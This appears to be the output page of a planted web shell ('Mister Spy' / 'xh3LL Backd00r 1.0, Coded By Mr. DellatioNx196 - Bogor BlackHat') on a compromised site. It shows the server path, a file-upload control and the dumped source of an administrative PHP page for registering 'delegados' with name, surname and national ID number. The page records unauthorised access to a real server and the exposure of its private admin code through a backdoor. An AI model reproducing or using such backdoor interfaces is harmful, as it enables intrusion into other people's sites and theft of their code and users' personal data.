Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/admin/
Upload File :
Current File : /home/caballoscriollos/www/web/admin/delegados.php

<?php 
require_once("../inc_library_front.php");

/* verificamos si posee permisos */
if (!Session::CheckPerm(Modulo::Eventos))
	Session::NoPerm();
?>
<!DOCTYPE html>
<html>
    <head>
        <?php include("ssi_head_inc.php"); ?>
		<link  href="css/cropper.css" rel="stylesheet">

	</head>
    <body class="fixed-left">

        <!-- Begin page -->
        <div id="wrapper">

            <?php include("ssi_header.php"); ?>

			<?php include("ssi_menu.php"); ?>

            <!-- ============================================================== -->
            <!-- Start right Content here -->
            <!-- ============================================================== -->
            <div class="content-page">
                <!-- Start content -->
                <div class="content">
                    <div class="container">
                    
                    	<div class="row">
							<div class="col-sm-12">
								<h4 class="page-title">Delegados</h4>
								<ol class="breadcrumb">
									<li>
										<a href="index.php">Home</a>
									</li>
									<li class="active">
                                        Delegados
									</li>
								</ol>
								
							</div>
						</div>
                    	<div class="row">
                    		<div class="col-xs-12">
                                <div class="card-box">
                                	<div class="col-sm-8">
			                        </div>
			                        <div class="col-sm-4 text-right">
			                        	 <a href="#custom-modal" class="btn btn-default btn-md waves-effect waves-light m-b-30" data-animation="fadein" data-plugin="custommodal" 
			                                data-overlaySpeed="200" data-overlayColor="#36404a"><i class="md md-add"></i> Agregar Delegado</a>
			                        </div>
                                    <div id="jsGrid"></div>
                                </div>
                            </div>
						</div>
					</div>
				</div>
			</div>
			<!-- Modal -->
			<div id="custom-modal" class="modal-demo">
			    <button type="button" class="close" onclick="ClosePopup();">
			        <span>&times;</span><span class="sr-only">Cerrar</span>
			    </button>
			    <h4 class="custom-modal-title">Agregar Delegado</h4>
			    <div class="custom-modal-text text-left">
			        <form id="form-add-delegado" role="form" method="post" action="json-delegados-add.php" class="form-horizontal resize-image" enctype="multipart/form-data">
			        	<input type="hidden" id="Submitted" name="Submitted" value="1" />
                        
                        <div class="form-group">
                            <label class="col-sm-12" for="Nombre">Nombre</label>
                            <div class="col-sm-12">
                                <input type="text" class="form-control" required name="Nombre" id="Nombre" placeholder="Nombre" required parsley-trigger="change" data-parsley-required-message="Por favor ingrese el nombre" />
                            </div>
                        </div>
                        
                        <div class="form-group">
                            <label class="col-sm-12" for="Apellido">Apellido</label>
                            <div class="col-sm-12">
                                <input type="text" class="form-control" required name="Apellido" id="Apellido" placeholder="Apellido" required parsley-trigger="change" data-parsley-required-message="Por favor ingrese el apellido" />
                            </div>
                        </div>
                        
                        <div class="form-group">
                            <label class="col-sm-12" for="Dni">DNI</label>
                            <div class="col-sm-12">
                                <input type="text" class="form-control" required name="Dni" id="Dni" placeholder="DNI" required parsley-trigger="change" data-parsley-required-message="Por favor ingrese el DNI" />
                            </div>
                        </div>
                        
                        <div class="text-right">
                        	<button type="submit" class="btn btn-default waves-effect waves-light">Guardar</button>
                        	<button type="button" class="btn btn-danger waves-effect waves-light m-l-10" onclick="ClosePopup();">Cancelar</button>
                    	</div>
                    </form>
			    </div>
			</div>
			<!-- Modal -->
			<!-- Modal Update -->
			<?php include('ssi_delegado_modal_mod.php'); ?>
		<?php include("ssi_scripts.php"); ?>
		
        <!-- jsgris table js -->
        <script src="<?= Config::UrlFiles ?>assets/plugins/jsgrid/js/jsgrid.min.js"></script>
        <script src="js/jquery.jsgrid.delegados.init.js"></script>
        <script src="js/jquery.jsgrid.init.js"></script>
        <script type="text/javascript" src="<?= Config::UrlFiles ?>assets/plugins/autocomplete/jquery.mockjax.js"></script>
        <script type="text/javascript" src="<?= Config::UrlFiles ?>assets/plugins/autocomplete/jquery.autocomplete.min.js"></script>
        
		<script type="text/javascript" src="js/resize_img.js"></script>
        <script src="<?= Config::UrlFiles ?>assets/plugins/tinymce/tinymce.min.js"></script>
        <script type="text/javascript" src="<?= Config::UrlFiles ?>assets/js/controles/autocompletar.js"></script>
		
        <script type="text/javascript">
        function ClosePopup() {
        	$('#Nombre').val('');
            $('#Apellido').val('');
        	$('#Dni').val('');
        	
            $('#NombreU').val('');
            $('#ApellidoU').val('');
            $('#DniU').val('');
        	
        	Custombox.close();
        }
        
        $(document).ready(function () {

            $('#Keyword, #KeywordU').on("keypress", function(e) {
                var target = $(this).attr('data-parsley-selection-autocomplete');
                /* ENTER PRESSED*/
                if (e.keyCode == 13) {
                    /* FOCUS ELEMENT */
                    var keyword = $(this).val();
                    $(this).val('');

                    var element = getItemTemplateDefault(keyword, keyword, 'keyword-seleccionado', 'suggKeyword', 'keyword');

                    $(target).append(element);

                    return false;
                }
            });

            document.addEventListener('custombox.close', function() {
        		try {
        		tinymce.execCommand('mceRemoveControl', true, 'Descripcion');
        		}
        		catch(err) {}
        		
        		try {
        		tinymce.execCommand('mceRemoveControl', true, 'DescripcionU');
        		}
        		catch(err) {}
        		
        		$('.mce-tinymce').remove();
        		
        		$('#Descripcion').show();
        		$('#DescripcionU').show();
        	});
        	document.addEventListener('custombox.complete', function() {
        	tinymce.init({
                    selector: "textarea",
                    theme: "modern",
                    height:200,
                    plugins: [
                        "advlist autolink link image lists charmap print preview hr anchor pagebreak spellchecker",
                        "searchreplace wordcount visualblocks visualchars code fullscreen insertdatetime media nonbreaking",
                        "save table contextmenu directionality emoticons template paste textcolor"
                    ],
                    toolbar: "insertfile undo redo | styleselect | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | l      ink image | print preview media fullpage | forecolor backcolor emoticons", 
                    style_formats: [
                        {title: 'Bold text', inline: 'b'},
                        {title: 'Red text', inline: 'span', styles: {color: '#ff0000'}},
                        {title: 'Red header', block: 'h1', styles: {color: '#ff0000'}},
                        {title: 'Example 1', inline: 'span', classes: 'example1'},
                        {title: 'Example 2', inline: 'span', classes: 'example2'},
                        {title: 'Table styles'},
                        {title: 'Table row 1', selector: 'tr', classes: 'tablerow1'}
                    ]
                });  
            });  
    		
        	$('form').parsley({
        		excluded: "input[type=button], input[type=submit], input[type=reset], input[type=hidden], [disabled], :hidden"
        	});
        	
        	$('#form-add-delegado, #form-mod-delegado').submit(function(e) {
        		tinyMCE.triggerSave()
        		var data = new FormData(this); 
				var count = 1;
				$('.hi-url').each(function() {
					var id = $(this).attr('data-id');
					var blob = dataURLToBlob($(this).val());
					data.append('Imagen-' + count, blob);
					count++;
                });
                
        		var data = new FormData(this); 
		
				$.ajax({
					url: $(this).attr('action'),
					data: data,
					cache: false,
					contentType: false,
					processData: false,
					type: 'POST',
					success: function(data){
						if (data.Success)
						{
							$("#jsGrid").jsGrid("loadData");
							ClosePopup();
						}
						else
							swal({
								title: "Error!",
								text: data.Error,
								type: "error",
								timer: 2000,
								showConfirmButton: false
							});
					}
				});
				
				e.preventDefault();
				return false;
			});
	
        });
        </script>
	</body>
</html>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat